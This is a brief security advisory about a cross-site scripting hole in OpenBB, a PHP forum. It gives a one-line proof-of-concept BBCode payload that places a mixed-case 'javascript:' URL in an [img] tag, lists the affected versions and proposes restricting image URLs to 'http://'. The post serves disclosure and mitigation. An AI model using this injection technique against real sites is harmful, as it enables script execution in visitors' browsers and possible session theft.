OpenBB is free php-based forum.
Exploit:
[img]javasCript:alert('Hello world.')[/img]
Vulnerable systems:
All versions of Open Bulletin Board including
v.1.0.0
Immune systems:
None
Solution:
All url's in [img] tags should start
with "http://";
Yurij Rumiantsev
